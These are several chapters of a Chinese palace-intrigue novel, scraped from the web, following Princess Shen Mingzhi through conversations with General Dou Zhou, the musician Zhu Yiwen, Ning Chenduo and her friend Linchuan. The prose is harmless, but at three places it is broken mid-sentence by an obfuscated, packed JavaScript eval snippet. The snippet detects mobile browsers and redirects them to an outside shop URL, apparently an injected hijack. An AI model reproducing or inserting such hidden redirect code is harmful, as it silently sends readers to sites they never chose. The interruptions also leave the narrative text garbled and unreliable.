窦宙回想起今晨之事,平日大隐隐于朝的章服之侣、介胄之臣,能来的都来,众目睽睽,便是没有人到沈明枳跟前嚼舌根,沈明枳想知道什么就能知道什么。窦宙心中无奈,韦不决新娶郑氏女,郑氏又是魏王派,不能怪沈明枳会多心,且她的多心本不多余。 “公主也知道,不决向来不喜和胡人、狄人打交道,倒是他的妻弟郑校尉,关外的话说得很利落。” 沈明枳的神色似有松动,但窦宙没有这么轻易放松,他要继续为韦不决正名:“不决他,其实比我和阿宇更艰难。韦家已经那样了,他父亲又去得早,就只有老夫人一个人撑着,他也没有兄弟姐妹帮衬,这些年老夫人的身体又不太好……不决是孝子,韦家耆老总用老夫人逼他,老夫人她也……这些人情上的往来,他再不喜欢,当着这么多人的面,他也不能冷脸。” 沈明枳叹气:“将军,我本意指的不是这些。将军不爱出门,治家又严,想来也不知道,这位呼延世子三番五次拿着大姐姐在义律的旧事上门寻衅——” 她话还没说完,这屋里哪里还有方才那个和事佬模样的窦宙,若眼前有刀,他估计能提着刀追出去取了呼延炳的脑袋。窦宙向来是一步退、步步退、一退退到底的人,沈明枳以前有些顽劣,但再顽劣也没触及过他的底线,故而沈明枳也不知道,窦宙究竟是多么能忍的人。 “将军。”沈明枳提高嗓音叫他一声,起身将他面前的那盘芡实糕换成了桂子酥,借用这样的动静掩饰去两个人心中的混乱。 “殿下恕罪。” 沈明枳有些恍惚,僵硬地重新坐了下来,温和了脸色:“这是将军头一次这样称呼我。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13529007|142272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 窦宙一怔,连忙又要告罪,沈明枳抬手止住:“无妨,这里就只有我,将军这样唤我,也不会出错。” 沈明枳少年时常常呆在东宫,东宫除了她这个公主是“殿下”,正主太子更是最正经的“殿下”,常来窜门的大姐姐也是“殿下”,后来梅问香肚子里的小皇孙也成了“殿下”。这么一想,沈明枳倒也分不出窦宙方才唤的这位“殿下”究竟是谁了。 “公主……”窦宙再一开口时,多了几分按捺住的哽咽:“他还怎么叨扰过公主吗?” 沈明枳轻轻摇头:“没了,他若真还来找过麻烦,恐怕今日就不能完完整整地走出宁远门了,我若不给他教训,想来韦将军听见了这些,也不会放过他对吧。” “不决的确不是薄情寡恩之人……”窦宙的声音还是低了下去,他感觉出了在沈明枳眼里,韦不决好似已经是个全然的外人了。 乔致用擅射,自己马上功夫好些,韦不决近身格斗的本领为最,所以闲暇之时,“最不得空”的乔致用老是开溜,韦不决教公主射箭,时常传授一些不显山露水而轻轻松松收拾人的暗招,自己就带公主骑马。那时三天两头,公主就要去上林苑逛上一圈,去不得的时候就让自己牵他到芳林门外走上一走,可他怎能天天有空,公主就瞄上了韦不决,今天命令自己,明天就威逼韦不决,后天磨着梅如故不情不愿地陪她走一遭…… 现在,他们各奔东西,关外的西北风不决吹了多少年,长风关内的浊酒他也早喝成了白水,公主也早为人妻母,太子入葬紫微宫业已是多少年前的旧事。可恍惚间,窦宙想起明日就是公主定下出宫的期限,韦不决被长缨卫的琐事缠得脱不开身,而他必须将阴阳卫里的事情摆平了,好抽出一天的空档带她去曲江边,哦,他差点忘了,乔致用才回来,今夜在哪家店摆了酒,他必须得去喝一杯…… 窦宙闭上眼,又睁开眼,眼前重又是升平二十三年十月的今天。轩窗外的竹影树姿婆娑摇动,簌簌的木叶声宛若他手中掬起的一捧沙,风流沙散,多少年年少岁月亦随之消去。 他内心饱蘸无奈,但一个劝慰的字也写不出来。 “对了,还有一事,我想向将军打听。” 窦宙收敛起自己的伤怀,“公主请说,臣定知无不言。” “将军知道锦麟卫指挥副使凌云重其人吗?” “无人不知凌副使的大名。” “那将军可知道他的一些往事?” 窦宙笑得有些警觉:“公主怎么对他这么感兴趣?” 时下化隆城里风气不紧,不少后院的贵夫人其实都有养情人的习惯,沈明枳和郇寰的关系一般,她从小又是梅如故那样洒落不羁的性子,再加上她和临川郡主这样不禁枕席的人走得很近,又与凌云重没有瓜葛纠纷,这不能怪他往这个方面瞎想。 沈明枳笑道:“临川因着我的缘故,不慎得罪了这位副使,恐怕不能善了,我想着她既为我剖心,我总也要肝胆相照。俗话说,知己知彼百战不殆,可这位凌副使又着实神秘,临川四处打听,结果只知道这位大人竟也是江西同乡,家中无亲无田,很早就投了军,其余的一个字也问不出,就连他是何时入的锦麟卫、在锦麟卫立过哪些功、又如何一路低调地升到了副使之位,这些几乎是化隆城里发生的事情都打听不到,奇哉怪也。” 窦宙了然地将自己的心放回原处,笑着解释:“十二卫里上三卫最是要紧,你若现在去外面打听阿宇的履历,若非公主能翻出阴阳卫库房里的簿册,恐怕除了他姓窦、有一个哥哥就是臣,家中无父无母、尚未娶妻,其余的什么也打听不出。” “竟是如此。” “所以公主,接下来臣说的话,可不能随意外传,这是规矩。” 沈明枳洗耳恭听。 “公主是问对人了,这些事,除了臣知道,天下应该只有三个人知道。” “哦?” 38. 第三十八章 凤求凰 “十二军卫里就属上三卫出人头地得最快,指挥使和指挥副使只有一个‘副’字的区别,但差的却是几十年乃至一辈子的前途。公主瞧,连阿宇都混上了指挥使,凌云重的能力和资历都不在阿宇之下,他绝不该只是一个副使。” 沈明枳想起了窦宇那张从不给自己好脸色的脸,也不打算虚伪地恭维他,“倒是如此。” “因为六年前的凌云重是长缨卫。” 沈明枳神色一凝。 六年前的长缨卫,她太过熟悉了,指挥使就是韦不决。 “他最开始在皇城兵马司供职,但在那个地方没有点身份很难出头,后来一次圣上秋豫,他跟着云将军出巡,不知是出了什么事,云将军把他推出来挡箭,但他居然处理得很有条理,不决看他出色却被埋没,起了爱才之心,便和云将军打了商量做主将他要到了长缨卫。” “咦,原来如此!” 临川把手中的茶盖敲得叮叮乱响,大大的眼睛里闪着亮亮的金光:“难怪,他那叫一个心比天高啊,却被肖老贼压着做牛做马不敢反抗,成天臭着一张脸搞得像天下人都欠他钱了,有德报德,有怨报怨,窝里横算什么本事,真心里不痛快怎么不去找肖老贼算账,真是只软脚蟹。” 沈明枳泼冷水:“好了,自己说说也就罢了,别到外面瞎说。“ “知道的知道的,他叛逃长缨卫的事情我绝对不会乱说的。” 沈明枳一噎。她瞧着临川这副嬉皮笑脸得几近于小人得志的模样,她真怕下午就会闹得满城风雨,她自寻死路也就算了,牵连到窦宙就是万死难赎的罪过。沈明枳佯笑着揪上了临川的耳朵:“嗯?还跟我嬉皮笑脸的?你不怕堂官怕下官很丢脸,但如果敢在外面瞎嚼舌根,那就不是丢脸这么简单了。” “疼疼疼!我知道的鹇儿!” 沈明枳撒手,神色冷淡地折下翻起的袖口,“不是我吓唬你,凌云重的履历是十二卫的机密,而这段六年前的往事,是机密中的机密,天底下只有三个人知道这样的机密,韦不决、肖执真,还有凌云重本人。窦宙是好性子,韦不决不屑与你掰扯,但肖指挥使和凌副使就没有这样好的脾气。你与凌云重之间是私事,他未必会怎么样你,但这些是公事,你掂量掂量你能不能得罪起。” 临川长长叹一口气:“我知道我知道,他当年醉酒还敢打人,还敢把长缨卫的同僚给打死了,可见他是个狠角色。他又走运,癸卯年悬水河出了桃花汛,东宫也乱了,韦不决委托窦宙帮忙缉捕,把着长缨卫和阴阳卫愣是让他给逃了,还逃到了锦麟卫,可见是个有脑子的。而肖执真当年还没转正、还只是个副手,锦麟卫内不知多少人盯着呢,就敢公然收留这样的逃犯,可见这肖老贼也是胆大包天的。” 十二亲军卫里的阴谋阳谋、明争暗斗尤数上三卫最为激烈。一朝天子一朝臣,一般新君登基后,长缨卫指挥使就会改任锦麟卫指挥使,锦麟卫指挥使只能光荣退休。虽然圣上和太子父慈子孝,但不意味着锦麟卫和长缨卫能够其乐融融。不过现在两者非常平和,因为长缨卫不是已经江河日下,而是已经跌在谷底永远也爬不起来了,其他九卫有的时候都能够在长缨卫头上动土。 “现在肖老贼拼出来了,凌云重也拼出来了,我是脑子被驴踢了才会上赶着和他们对着干。所以鹇儿,你放八百个心吧,我最惜命了,绝对不会给你惹麻烦的。”说着,临川挽上了沈明枳的胳膊,捏着嗓子朝她撒娇:“诶,你说这凌云重对肖老贼到底是什么态度啊,肖老贼也是,养虎为患,真不怕哪一天有个好歹,岂不会被怀恨在心的凌云重生吞活剥了……也是,他好不容易熬出来了,这些脏活累活凌云重不干,他难道想累死自己?” 临川笑了两声:“他是个懂得享受的,也是个通达之人,有些权该放的放,有些人该用的用,不像有些人,我听说启明门那一块儿真是通宵达旦、亮如白昼,就真衬了‘启明’二字,也不知三法司这些人都在忙些什么……” 沈明枳陪她慢慢踱步,抬手拨开横在眼前的一支元宝枫,语气悠悠然:“王者配天,谓其道。天有四时,王有四政,四政若四时,通类也。天人所同有也。庆为春,赏为夏,罚为秋,刑为冬。入了十月,就要开始秋决了,庞杂的案子陆续都要收尾,再过些日子,察院除了本院事宜,还要与户部一同缉查天下债贷——怎么了?” 临川停下脚步,一脸严肃:“你知道我说的是郇海山。” “知道。”沈明枳越是爽落、越是不以为意,临川越觉恨铁不成钢:“你都在城外住了多少天了,他一次也不来看看你,再这样下去,城里有些居心叵测之人不知要传出什么话来。” 沈明枳笑了:“你都说是居心叵测了,只有千年做贼的,哪有千年防贼的?别人要说什么你堵不住,那就由他们去说好了。” “你不是常常告诫说要什么常将有日思无日,又什么君子不立危墙,我半本书也没认真扒拉过,这些‘道理’可都是你自己跟我说的。众口铄金,积毁销骨!你和他本就多有不睦,那么多人你不要偏偏选了他,不就是图一个安定吗?这么下去,你们当真要和离不成?赔了夫人又折兵,就是你现在这副样子!” 沈明枳再一轻笑,使暗劲拖着临川又走了起来,“我知道你体贴我,但有些事,不是三两句就能解释清的。总之你放心,和离是不会的,我倒也未必亏了。我什么性子,他们清楚,和长宁闹得这样难看还能忍气吞声?头一个不定心的就是他郇海山。稍微闹一闹,他们也能安心,等风头过去了,场面走一走,大家合作还是能很愉快的。” “罢罢罢!你心里有数就好。”临川一甩袖子,轻轻拂开沈明枳的手,沈明枳顿时绽出了一个更盛大的笑容,一步贴上气鼓鼓作势发火的临川,细致地替她拨开横在老远、根本扫不上临川郡主宝簪云鬓的那一大枝火链似的枫树,“你突然说起这些,看来城中已经起流言了?” 难得见冷硬的沈明枳在她面前“伏低做小”哄一回,起因却为了一个毫不相干又有些干系的男人,临川莫名很不是滋味,“倒也没有。” 沈明枳挑眉,“那京里有什么流言?” 临川想了想,“宁国公府最近还挺热闹的,宁七那位不食人间烟火的姐姐闹着要出家,听说什么上吊、吞金,各种威逼的法子都用尽了也没遂愿,几日功夫,宁夫人已经连着进宫两次和皇后娘娘哭诉了。可我听说,这位宁姑娘要死要活的,其实是为了一个书生,一无功名二无家财,会拽几句酸诗腐文,那《凤求凰》弹得,直接把这位琴痴小姐的魂都勾走了。” “座上琴心,机中锦字,最萦怀抱。宁姑娘高致,国公夫妇爱之如宝,虽然二十好几,宁夫人常常替之恨嫁,但真心还是想把女儿长留身边、一世无忧的。” 临川大笑两声:“你这番不成言论的言论倒说得对,宁姑娘是琴痴,未尝不会是个‘情痴’。她性子又傲,孤僻不愿与人交往,不出门则已,一出门到处得罪人,国公夫妇是看准了他们这个女儿不好嫁,是心头肉,便不忍看她遭罪受苦,又是公门贵女,随便也将就不得,就此蹉跎多年。这突然的,宁姑娘为了个男人要死要活,文君当垆,前车之鉴,这二老什么人没见过?为了女儿他们什么侮辱受不得?只怕允了这桩孽缘,女儿遇人不淑,这么拧巴的性子一个想不开就是白发人送黑发人。这便是开窍晚的坏处了,被人骗了还不知道,被哄得愣是把所有退路都断绝了,吃尽了苦头丢了性命,还做梦什么一生一世一双人,长门旧址犹在,怎不见金屋藏娇、椒房隆宠?男人啊都是这样,断不了孽根却要说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13565974|142272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 女子善妒,今年花胜去年红……” 临川见沈明枳听着有些走神,轻轻推搡她一下,“想什么呢?宁国公二老也不是食古不化的,这样拒绝,想来那什劳子书生并非良人——” “到地方了。” 临川一扭头,循声往林深人密处望去,“啊呀,还真到了,听起来还蛮热闹的,鹇儿你真的不去坐坐?莘莘说今年开春的两榜进士就会来好几个呢,指不定有能入你眼的呢?”说到这里,临川一拍脑门,“我倒忘了这件事!和亲那一阵,魏王替长乐物色了一个年轻人叫韩宗英,这人我见过,也不过如此吧,长乐那刁钻的小妮子一定看不上。所以你猜猜,这韩宗英现在怎样了?” 此间热闹非凡,隔着疏叶已经能够听见各种欢笑排山倒海似的奔涌而来,直如一股漩涡,将无心过路的人也都裹挟了进去,沈明枳已身在其中,却还有些出神,“总不至于杀了。” “和抹脖子也没什么区别。” 闻言,沈明枳收心敛神看了过来,耳畔林间的筝鸣琴响越发轰鸣。 “寒窗苦读数载,一朝金榜题名,这户部的官位还没捂热,结果家里老娘死了,得丁忧,三年孝子当下来,朝中风云变幻,驸马黄粱之梦乍然惊醒,从头到尾被人当驴溜的了一趟,他的仕途跟抹了脖子有什么区别?” 沈明枳止住脚步,意味不明,“真是好巧。好了,你去玩吧,我要回去休息了。” 双塔寺里的枫叶被霜打出了深深浅浅、浓浓淡淡不同的色彩,绚如赪虬,灿如□□,间杂于长青松柏,斜出高墙、穿楼打檐,直送到沈明枳眼前。这已经是时节更替意味极其浓烈的残秋,可寮房中琴声簇簇如春雨柳絮洒落,尘烟绵绵,伴着迎面西风料峭一如早春东风,直让沈明枳想起那句极有名的诗来:“最是一年春好处,绝胜烟柳满皇都。” 她站在城外双塔寺,却想起了大内云峦起伏的宫殿,也正沐浴在这样的一场早春酥雨里。那座又偏又远的薜荔殿,爬满了自南方移植过来的翠色藤蔓,朦朦胧胧的雨天云色一罩,平生不过六七年的沈明枳从未出过皇城两都,却也知道了何为江南、何为岭南。 幼年时的沈明枳很少来这个偏僻得有些阴气的地方,可甫一来这个地方,沈明枳就听见了朱遗思最新谱出来的一支无名曲。做东延邀朱遗思的是住在薜荔殿偏殿的崔选侍,她很喜欢抚琴弄笛,常常与伶人往来,正与朱遗思聊在兴头上,沈明枳刚一打扰便断了他们的雅兴。她犹记崔选侍见了自己面色烧红,那一双清水淋洗过的明眸里多了嗔怪,朱先生则慌忙按灭了琴弦,寻了借口匆匆抱琴告辞。 生气时崔选侍的眼睛,透着玲珑珠子入水翻滚的灵动,一如耳畔琴音,将经年累月逐渐淡忘的旧事霎时落到了实处,凝成了一斛珍珠洒在了她的脚边。 充栋刚提壶出来打水,乍然看见沈明枳袖手立于檐下静静听着寮房里的幽幽琴声,浑身一个激灵,壶中仍潴留着的茶水便从壶口泼了出来,差点泼到月珰的脚下。他连忙上前高声揖礼,“参见殿下。” 房中杂乱一阵声起,那脉脉诉不尽离情别绪的琴音戛然而止,沈明枳便也从回忆中清醒,等她勉强笑着应下了充栋的礼数,宁晨铎已经迎出房门。他一身浅浅的月白就如月色荡漾于金秋的桂枝,玉石蓝的丝绦扎在他的腰间,还是早先流行的缠枝式样,是林下缥溪,压在腿侧的那枚青碧色玉环则成了落在水面的一片碎月。 沈明枳下意识就要像从前那样,抬手止住宁晨铎的虚礼,可她看见了宁晨铎那几分溢于言表的慌乱,心中早被针扎过的洞眼又开始刺痛,刚要抬起的手就僵硬在了袖子中。 “臣宁七,参见公主殿下,殿下万安。” 朱遗温也迎了出来,沈明枳在朱遗温开口前笑道:“不必多礼了。” 39. 第三十九章 心安处 沈明枳还未入屋,就看见了摆在琴台上的那把羊左,通体乌黑,亮锃锃精神十足,折着窗外天光晃人眼目,相比之下,朱遗温的那把未名琴就十分不起眼了。 “这首曲子叫《春好处》吗?” “公主如何知道?”朱遗温倍感诧异,“公主让宁公子送来的曲稿里,只有这首谱到一半没有后文,没有完结、打磨过的曲子,家兄从不在人前弹奏,这是他的习惯。” “我曾有幸,听过一段——宁公子,容本宫与祝先生单独谈谈。” 宁晨铎刚虚掩起门,便只能轻声应是,推门退了出去。房门“咯吱”一声阖上,寮房里只剩下两张琴、两个人,还有一炉吹着袅袅烟尘的香。宁晨铎一走,朱遗温显得更加局促,站也站得心惊,坐也不敢乱坐,只见沈明枳从容坐到琴台前,抬手轻轻抚过绷紧的琴弦,细细的摩挲声立时响亮。可她只是抚摸瞬息,连勾指拨一声琴音的犹豫都没有,便收手,肃目端坐宛若龛中鬼神。 “祝先生拒为王侯公卿演奏,是因为令兄的死如鲠在喉。” 朱遗温没想过沈明枳会如此开场,浑身僵硬地呆愣在原地。 沈明枳轻轻叹气:“这些年京中关于遗思公子的暴毙多有猜测,祝先生在江南听到过什么说法?” 朱遗温不敢回答。 “是说,遗思公子得罪了权贵,为人所害?大街小巷大同小异,说的都是这些吧,至于他得罪了谁,又是喝了鹤顶红还是牵机药,是死在了宫里还是宫外,祝先生也不知道吧。” 她说话的口气很冷淡,却还是激起了朱遗温的悲慨,“公主究竟想说什么?” 沈明枳的眼里流淌出一痕不亚于丧亲的苦楚,“先生想知道真相吗?遗思公子为何而死、死在何处、死因为何,先生想知道吗?” 朱遗温咽下逆上的一口血气,喉头哽咽:“公主大费周章找到草民,究竟有何图谋?” “先生进京是为了寻找《心安处》的曲谱,而今先生问我有何图谋,那我便劝先生,不要找了。” “为什么?” “你永远也找不到的。” 朱遗温的手不可遏制地颤抖起来,“公主……您究竟是什么意思?” 沈明枳摇摇头,起身扶正被自己略略撞歪了的琴台,朱遗温苍白着脸连忙追问:“公主说的真相,和曲子有关吗……” “试问岭南应不好,却道:此心安处是吾乡。” 朱遗温强行镇定地道:“这是曲名的由来。” “遗思公子就死于这首《心安处》。” 闻言,朱遗温差点失声流下泪来,望着沈明枳琴台前的背影,有些颓然惶恐地瘫坐到了禅床上,挣扎了好几次,才沙哑着喉咙发出了断断续续的音节:“为什么?” “遗思公子有曲《薜荔行》,缘起自一堵薜荔女萝墙,此墙正位于内廷礼乐局后的薜荔殿后。还有一首《东风采莲曲》,谱的就是御花园东风亭下的夏日胜景——” “胡言乱语!《薜荔行》是家兄有感于《九歌·山鬼》所作!而《东风采莲》则是异乡孤客思念千里之外的家乡,兼糅江南乡音小调而成!” 沈明枳偏过头,看向朱遗温满脸怒容,可朱遗温看见沈明枳眼中哀色后,一刹那就明白了过来。朱遗思连外臣都算不上,只是个伶人,却处处和大内宫禁扯上了不能自证的关系。 “这些不是我杜撰的,是旁人对圣上说的,一字未改。”沈明枳扶着琴台重新坐了下来,“圣上听见有人告发外人与内廷宫眷不清不楚,很生气,下令让锦麟卫彻查。” “什么?几首曲子而已怎么就牵扯上了这个?” 沈明枳默了默,才又沉重地开口:“宫内薜荔殿安置了不少宫妃,其中有一位崔选侍颇喜音律,常常与乐府中人来往,遗思公子也曾受过她的邀约,便有一次,一个春天,我听见了这首《春好处》。” 其实薜荔殿安置的都是尚未承宠的女子,唯有住在正殿的李美人和偏殿角落里的崔选侍是例外。听小宫女们说,李美人生得不够漂亮,可举手投足都是秋波风情,而崔选侍则是不得了的大美人,什么生得比月里嫦娥还要艳上几分,只可惜是块木头,初次承宠的那一夜又哭又闹惹了圣上的嫌,这便连一时新鲜都没有了。 没了新鲜就没了圣眷,金钱权势敬重巴结自然都没了,薜荔殿里多的是黄鹤楼上笑看她起了帆又翻了船的人,但没想到崔选侍有手段周全自己、能叫旁人不敢公然欺侮她。 可这又如何? “然后不久,有人告发了他们。圣上大怒,命锦麟卫一查,搜出了不少两人私相授受的物什——” “轰隆”一声,朱遗温不慎推翻了手边的那张琴,木断弦裂,小几上的香炉也倒开了盖子,还燃着星火的香灰粉末撒得遍地都是,将那断琴的残骸上也蒙上了一层灰尘。寮房外的宁晨铎破开门缝冲了进来,就见朱遗温跪倒在地,抱着那已经开裂的琴骸低声哭了起来。 “鹇……殿下!留步!”宁晨铎夹着两册书追了出来。 沈明枳环顾四下,并无闲人,便止住脚步,回身朝他一礼。宁晨铎顾不上这些,连忙将怀里的书递了出来,“殿下不过生辰,但礼我早已备好了,去岁是这本《三边图志》,今年是这本《方台杂谈》,臣实在不好如从前一般转手中宫以贺诞辰,又找不到合适的机会和理由,便……便只能这般突兀地惊扰殿下了。” 沈明枳避开宁晨铎的视线,垂眼看过那两册书的封面,亲自接了过来,“找这些书,你费了不少力吧?” “没……也没有。”他脑海中立时跳出了“礼轻情意重”这五个字,可他不敢诉诸于口,同时他又想到了那把“羊左”,礼重却不敢说是情意轻还是情意更重,他只能说道:“比起殿下的那把‘羊左’,这礼,臣犹恐太轻。” 沈明枳微笑:“礼轻情意重。” 听见这五个字,宁晨铎的心里有如千山万岭鲜花砰然盛开。 “真是要感谢你了,这礼既是贺生,我便收下了。”沈明枳将书转递给垂手侍立一边的月珰,边折好翻起的袖子,边在廊下阴影里慢慢踱起步子,“宁七。” 许久没有听沈明枳这样唤他,乍然重闻,宁晨铎的整颗心都高高吊了起来,全神贯注等待着后文:“我们很久没有聊过天了,对么?” “是,很久了。” “自从我的婚事敲定以后,对么?” 宁晨铎心一沉,强行稳住声调:“是……毕竟是……礼数有隔,臣不敢有所逾越。” “什么礼数?” 宁晨铎一噎,有些怔愣地低头看向沈明枳和煦的笑容。 “你现在在菁明书院,跟着危老先生研习经典、钻研国程章礼,比礼部或者是宗人府的那些只会掉书袋的儒生更有见识,你说,这是什么礼数?” 宁晨铎垂下眼帘。 “宁七,从小到大,你我是因为虚礼才志同道合的吗?现在我已成婚,难道就要因为虚礼而分道扬镳吗?等你也有了妻子,那我们就要彻底陌路了吗?这一切仅仅是因为我们男女有别、身份不同吗?” “不……不是,不会的……”他抬起双眼,说不清里面蓄满的都是什么伤楚、什么可惜、还有什么奢望,他望着沈明枳坚定地说道:“绝对不是这样的。” 沈明枳坦然回视他的目光:“可你也还觉得,就是有些虚礼不得不去讲,就是有些东西已经改变了,是么?” 他咬牙,两腮发紧,喉头滚动,可愣是一个字也不敢说,双眸里也充盈着说不出、不能说的痛苦,终于,他似是无法承受这样的赤忱、这样的热烈、这样的狠绝,却又想螳臂当车、蚍蜉撼树地去迎接这场暴风骤雨,他错开的视线重又回到了沈明枳的眉头眼角。 “宁七,我嫁人了,封号变了,也不在宫里了,可沈明枳是我、鹇儿是我、长平是我、兖国也是我——”沈明枳站住脚步,轻笑时终于没了先前的松快从容,“是,郇海山的妻子是我,他孩子的母亲也是我,可你的朋友便已经不是我了吗?” “不……不是……是… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13591511|142272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …你是!” 沈明枳弯起唇角,可这一分笑里却掺杂着千千万万分说不尽的遗憾,她侧过身,放眼望向高墙外的瑟瑟秋光,“早过了中秋节,这几句诗用得不恰当,又很恰当,你听过的:吾心自有光明月,千古团圆永无缺。山河大地拥清辉,赏心何必中秋节。” 宁晨铎终于又笑了。他也想到了这几句诗,可他永远也没法像沈明枳这样坦诚瓠落,就像恩师说的那样,他心中杂着千头万绪,意沉如海,君子不能虚言妄语,这般光明磊落、又坦坦荡荡的话,他不敢说。所以和沈明枳比起来,他永远不够果断,永远也拿不下决断。 “宁七。”沈明枳深深呼吸了一口山中清气,仿若五脏六腑的污浊都被这一口气荡涤干净,她的心堂也洒扫干净、重新亮了起来,“在音律上你是有天赋的,名琴落尘、其音不扬,是乃可惜。‘羊左’之琴,不过我途径杭州,巧遇所购,虽千金,怎能抵你多年求索、四处打听、给我送来这两部书?与你比起来,我的礼才轻了,可共勉之意,你最是通透,定当明白。” 庭下无风而林叶自飒飒,宁晨铎看见了沈明枳常年枯沉深渊似的眼里点起了光亮,他便松开了紧攥着自己的心房的那只手,想帮她遮去这尘土肆虐的西北秋风,不让那暌违了多少日月的光亮被风无情吹灭。 可耳畔响起了足音,沈明枳收敛了眼中笑意,退开一步朝自己又是一礼,语调无波无澜一如往常,“宁七,我该回去了。祝先生隐姓埋名,孤身一人上京只为寻得遗思公子旧物,皇都居,大不易,我多有不便之处,只能劳你代为关照他了。” 可她还叫自己“宁七”。 宁晨铎抱手长揖。 沈明枳回了栖凰山庄,休息了少顷,刚迫不及待地翻了几页《三边图志》,夜幕浓稠,本该在外头和辛莘一起彻夜厮混的临川,居然踩着二更的尾巴骂骂咧咧地回来了,“哎,都是些什么浮浪子弟!姿色平平还没有自知之明,体若如鸡偏偏还要逞强逞能。诶,你怎么还没休息?在等我?” 沈明枳轻哼一声,仍兀自沉迷书中不予理睬,忽听临川道:“哎,听说窦老将军就在这几天了,你说我们要不要赶紧准备起来?” “准备什么?” 临川酸溜溜地抱怨:“你看,我只有说和窦宙有关的事情,你才会理我!” “你只要说正事,我都会理你。” 临川瘪瘪嘴,“我们是不是也要准备路祭了?哪怕我们和窦晴柔他们、赵王一派没有深交反有大仇,面子还是得做一做的。” “是你,要做面子的人只是你。且人家都没准备呢,你个外人着急什么。” 临川见她两只眼还黏在书上,打算活络活络气氛,便小声嘀咕起来:“这不是,我好久没见着窦家的那个小子了么。” 一息。 两息。 三息。 沈明枳一把合起书,给了临川一个爆栗,“你惦记着谁呢?嗯?窦宇?活腻了?” 临川捂住额头大叫:“你怎么这么凶!” 沈明枳冷笑:“我不凶一点,不管得严一点,你就又要去丢人现眼了。” “这又怎么丢人现眼了!他上次还多看了我一眼呢,这叫郎有情妾有意的,天作之合!” “哪一次?你倒是给我说说,他哪一次多瞧了你一眼?还郎情妾意呢,你和我介绍你那个林小郎时也是这么说的。” “不一样不一样!” “哪里不一样?别以为我不知道你为什么看中那个姓林的?上三卫得罪两个,你不想过日子了。” 被沈明枳说破,临川顿时萎靡,“好好好,我这不逗你玩的嘛,窦宇那种刺头儿,说一句能怼你十句,脾气比凌云重还不如呢,我才瞧不上呢。” “长荣和张四郎什么时候办喜事?”沈明枳暂时放过她。 临川笑得讥诮:“笑死人了,他们也敢办喜事?” “办不办,你这个月老都得随份子。” 临川很气愤:“这是什么歪理。” 40. 第四十章 邪门说 然后,按照沈明枳的歪理,十一月婚礼,临川乖乖地给长荣和张四郎包了一个沉甸甸的大红包,张家人接的时候都腿软。临川去的时候很是肉疼,但是回来时却欢欢喜喜的,好像收到大礼的不是张四郎而是她。 “你莫不是冻傻了?”沈明枳挑眉,把手中的暖炉塞到了手脚冰凉但面色红润的临川手里,又吩咐人把炭盆里的火拨得更旺一点。 “嘻嘻,你不知道,赵王府的人还真敢去,一直绕着窦晴柔转的那几个老女人看得眼睛都直了。毕竟当年宣国嫁齐珏,一桌酒席也没敢摆,结果长荣照猫画老虎,不仅拿下了他们贴钱修给长宁的公主府,还得了中宫这么多嫁妆,荣妃一辈子没出过大内,今天居然也求得了恩准,亲自到梁国公主府观礼,这可是破天荒头一回!” 沈明枳将眉毛收了回来,转身回到了矮榻上,“哦,我还以为她们是羡慕你给的喜钱。” 临川叽里呱啦地说了一通,瞬间被沈明枳打回原形,她强忍着肉疼自我宽慰:“我花了这么多钱,得了开心,也算回本了。” 她拍案而起:“你是不知道,张家的腰杆是真的硬,有几个嘴巴长了不如没长的人损了长荣几句,说什么未婚先孕过于出格丢人云云,结果张家的长媳当着满堂人的面怼了回去,还皮里阳秋地把当年宣国的烂事又骂了一遍,那可真是当着窦晴柔的面戳她的心窝!啧啧,真不愧是手里有兵、丹书铁券在手的。窦晴柔的功夫也是厉害,一点也看不出是想戳死宣国的恶毒样……” 临川烤着火,说得口干舌燥,突然发现自己讲了半天还没讲到点子上,舔了舔干裂的嘴唇,犹豫地开口:“对了,莘莘和申二又吵架了。” 闭目养神不知在思索些什么的沈明枳这才睁开眼睛,一副愿闻其详、洗耳恭听的样子。 临川捧回沈明枳给的手炉,只叹气不说话。 沈明枳立时懂了,“因为我?” “郇海山指使申二向莘莘打听你的消息,然后……然后你也知道,莘莘那脾气,一点就炸,他们夫妻本来就成天吵架,三天一小吵,五天一大吵,满屋子鸡飞狗跳,各自分居,申老太太在的时候还会劝一劝,劝了两个人就住到一起,然后又是三天一小吵,五天一大吵,再度分居。她从小气性最大了,家里又只有她一个闺女,捧着、当成眼珠子对待,呼风唤雨,处处要强,最好面子,偏偏在婚事上栽了这样大的跟头。这回她不仅仅骂申二,连带着把郇海山一起骂了进去……” 